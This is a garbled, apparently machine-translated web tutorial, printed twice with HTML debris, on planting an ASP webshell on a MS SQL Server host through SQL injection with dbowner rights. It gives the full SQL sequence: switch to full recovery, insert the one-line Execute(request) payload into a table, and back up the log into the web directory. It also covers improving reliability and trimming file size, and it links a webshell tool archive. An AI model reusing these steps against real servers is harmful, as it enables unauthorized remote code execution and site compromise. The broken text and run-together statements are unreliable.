Backup log to get a webshell

It is not difficult for dbowner to get a shell through injection. Even if Incremental backup is used, there are still many uncertain factors. If someone else has written wrong information before, the backup may still result in some unusable 500 errors. How can we improve the success rate and reusability? If the Incremental backup method is adjusted separately, although it can achieve some results, the method is complicated and the effect is not obvious. In addition, considering reusability, such as the success rate of multiple backups, The backupdatabase method is not very suitable. Another backup method is described here. Export the log file to the web directory to obtain the shell.
To obtain webshell, you must first know the physical path. There are many ways to expose physical paths, and injection can also be obtained. It is worth noting that if the database is separated from the web, the webshell will certainly not be available, and the backup can overwrite any file. Some Ideas about the Start Menu are still effective, just pay attention to the extension. If the database and the web are on the same side, you will have a chance. On the contrary, you should try other methods.
Then you need to get the current permission and database name. If it is sysadmin, of course there is no need to do complicated things, dbowner is enough, and public is not enough. The name of the currently opened database can be obtained using a db_name (), which is also very simple.
By default, the fault recovery type of the selected database is generally simple, and log files cannot be backed up at this time. However, we are all dbowner. What else can't be done? You just need to modify the attributes. Because it cannot be modified in the Enterprise Manager, it is very easy to use only one SQL statement, so you can:

AlterdatabaseXXXXsetRECOVERYFULL

XXXX is the name of the database you get, and logs can be backed up after execution. This change is destructive, because you do not know what the previous fault recovery mode is, and careful administrators may have to worry about it. If you can get the database status before, you 'd better change the database attribute back after the backup.

The rest is how to let the database record your data in the most primitive way. This corresponds to the problem of setting the table name "image" in backupdatabase. If you only create a table such as <%>, the records in the log are still recorded in a loose format, that is, <%> has no effect. Through the actual test, we found that the record can still be recorded in a way similar to backupdatabase, as shown below:

Createtablecmd (aimage)
Insertintocmd (a) values ('<% Execute (request ("Swan") %> ')
BackuplogXXXXtodisk = 'C: \ xxx \ 2. asp'

Now you have a webshell.

Is it all done here? No. Let's continue.
Here there are two branch directions. The first one is too easy to write because single quotes are not displayed during injection. The second one is to reduce the length of the webshell and improve the success rate. The following method is used to discuss the problem of the second branch, which is also applicable to the reduction of backupdatabase.
First, initialize the log.

BackuplogXXXXtodisk = 'C: \ caonima 'withinit

This is a bit similar to the first step of Incremental backup, but it is a bit different that after you have done this, the available shell you have backed up is fixed. This is important, because with this step, no matter what the Administrator has done in the database to disturb your backdatabase, or how many bastards you have (you will definitely think so) it doesn't matter if you get something you don't like. Even after you do it, it will still succeed if someone else tries your best, for example, if the other machine is reinstalled but the database and Code are not changed, it can be of great help.
Then, adjust the order of each statement in backup. Through the first point, the approximate steps have been determined, that is:

AlterdatabaseXXXXsetRECOVERYFULL
BackuplogXXXXtodisk = 'C: \ sammy' withinit
Createtablecmd (aimage)
Insertintocmd (a) values ('<% Execute (request ("Swan") %> ')
BackuplogXXXXtodisk = 'C: \ xxx \ 2. asp'

This is not good. I feel that there is another useless thing.

Createtablecmd (aimage)

It is a bit annoying, but this sentence is necessary, so you have to adjust the position and get it elsewhere. It seems that the order can be changed a little bit, and the incremental status in backupdatabase is the same. backupdatabase can even be backed up immediately after update. However, due to the data storage format, the situation is very complicated and will not be discussed here. After adjustment:

AlterdatabaseXXXXsetRECOVERYFULL
Createtablecmd (aimage)
BackuplogXXXXtodisk = 'C: \ sammy' withinit
Insertintocmd (a) values ('<% Execute (request ("Swan") %> ')
BackuplogXXXXtodisk = 'C: \ xxx \ 2. asp'

If the backup succeeds, the shell (above 2.asp) has 78.5 kb, and the file length is fixed to 80,384 bytes. A very picky friend can also accept it. Of course, you can use this to generate a clean Trojan-this is originally the send of the top cs Trojan, which is very common.
Further, although the trojan cannot be reduced again, it can reduce the number of junk files, that is, add response. end, so that the subsequent junk data will not be displayed. For all the junk data, you can make statistics, there are only about 6 ~ 12 k, that is, <% Execute (request ("Swan") %> the data is about 2. asp file offset 6xxx to 12xxx, the best case seems to be around 6 K, and this probability distribution is relatively high, rarely seen more than 10 K. This is satisfactory.

Currently, the success rate of testing with backuplog is 100%, so the analysis does not seem to have failed. In any case, this is much better than backupdatabase.

520) this. width = 520; "style =" CURSOR: hand "onclick = javascript: window. open (this. src); onload = "javascript: if (this. width> 520) this. width = 520; "align = absmiddle border =" 0 "> <a href ="/userfile/example "TARGET = _ blank> GetWebShell.rar </A>
</Font> </div>
<Div align = "right"> [font size: <a onclick = "main. size = 3" style = "cursor: hand;"> large </a>
<A onclick = "main. size = 2" style = "cursor: hand;"> medium </a>
<A onclick = "main. size = 1" style = "cursor: hand;"> small </a>]
[<A onclick = "allinfo.select();document.exe cCommand ('copy'); alert ('copyfinished ')" style = "cursor: hand;"> Copy source file </a>]
<TEXTAREA name = "allinfo" id = "allinfo" style = "width: 0; height: 0xp">
It is not difficult for dbowner to get a shell through injection. Even if Incremental backup is used, there are still many uncertain factors. If someone else has written wrong information before, the backup may still result in some unusable 500 errors. How can we improve the success rate and reusability? If the Incremental backup method is adjusted separately, although it can achieve some results, the method is complicated and the effect is not obvious. In addition, considering reusability, such as the success rate of multiple backups, the backup database method is not very suitable. Another backup method is described here. Export the log file to the web directory to obtain the shell.
To obtain webshell, you must first know the physical path. There are many ways to expose physical paths, and injection can also be obtained. It is worth noting that if the database is separated from the web, the webshell will certainly not be available, and the backup can overwrite any file. Some Ideas about the Start Menu are still effective, just pay attention to the extension. If the database and the web are on the same side, you will have a chance. On the contrary, you should try other methods.
Then you need to get the current permission and database name. If it is sysadmin, of course there is no need to do complicated things, dbowner is enough, and public is not enough. The name of the currently opened database can be obtained using a db_name (), which is also very simple.
By default, the fault recovery type of the selected database is generally simple, and log files cannot be backed up at this time. However, we are all dbowner. What else can't be done? You just need to modify the attributes. Because it cannot be modified in the Enterprise Manager, it is very easy to use only one SQL statement, so you can:

Alter database XXXX set RECOVERY FULL

XXXX is the name of the database you get, and logs can be backed up after execution. This change is destructive, because you do not know what the previous fault recovery mode is, and careful administrators may have to worry about it. If you can get the database status before, you 'd better change the database attribute back after the backup.

The rest is how to let the database record your data in the most primitive way. This corresponds to the problem of setting the table name "image" in backup database. If you only create a table such as <%>, the records in the log are still recorded in a loose format, that is, <%> has no effect. Through the actual test, we found that the record can still be recorded in a similar way as backup database, as shown below:

Create table cmd (a image)
Insert into cmd (a) values ('<% Execute (request ("Swan") %> ')
Backup log XXXX to disk = 'C: \ xxx \ 2. asp'

Now you have a webshell.

Is it all done here? No. Let's continue.
Here there are two branch directions. The first one is too easy to write because single quotes are not displayed during injection. The second one is to reduce the length of the webshell and improve the success rate. The following method is used to discuss the problem of the second branch, which is also applicable to the reduction of backup database.
First, initialize the log.

Backup log XXXX to disk = 'C: \ caonima 'with init

This is a bit similar to the first step of Incremental backup, but it is a bit different that after you have done this, the available shell you have backed up is fixed. This is important, because with this step, no matter what the Administrator has done in the database to disturb your back database, or how many bastards you have (you will definitely think so) it doesn't matter if you get something you don't like. Even after you do it, it will still succeed if someone else tries your best, for example, if the other machine is reinstalled but the database and Code are not changed, it can be of great help.
Then, adjust the order of each statement in backup. Through the first point, the approximate steps have been determined, that is:

Alter database XXXX set RECOVERY FULL
Backup log XXXX to disk = 'C: \ sammy' with init
Create table cmd (a image)
Insert into cmd (a) values ('<% Execute (request ("Swan") %> ')
Backup log XXXX to disk = 'C: \ xxx \ 2. asp'

This is not good. I feel that there is another useless thing.

Create table cmd (a image)

It is a bit annoying, but this sentence is necessary, so you have to adjust the position and get it elsewhere. It seems that the order can be changed a little bit, and the incremental data in backup database can also be changed. backup database can even be backed up immediately after update, but because of the data storage format, the situation is very complicated and will not be discussed here. After adjustment:

If the backup succeeds, the shell (above 2.asp) has 78.5 kb, and the file length is fixed to 80,384 bytes. A very picky friend can also accept it. Of course, you can use this to generate a clean Trojan-this is originally the send of the top cs Trojan, which is very common.
Further, although the trojan cannot be reduced again, it can reduce the number of junk files, that is, add response. end, so that the subsequent junk data will not be displayed. For all the junk data, you can make statistics, there are only about 6 ~ 12 k, that is, <% Execute (request ("Swan") %> the data is about 2. asp file offset 6xxx to 12xxx, the best case seems to be around 6 K, and this probability distribution is relatively high, rarely seen more than 10 K. This is satisfactory.

At present, the success rate tested with backup log is 100%, so the analysis does not seem to have failed. In any case, this is much better than backup database.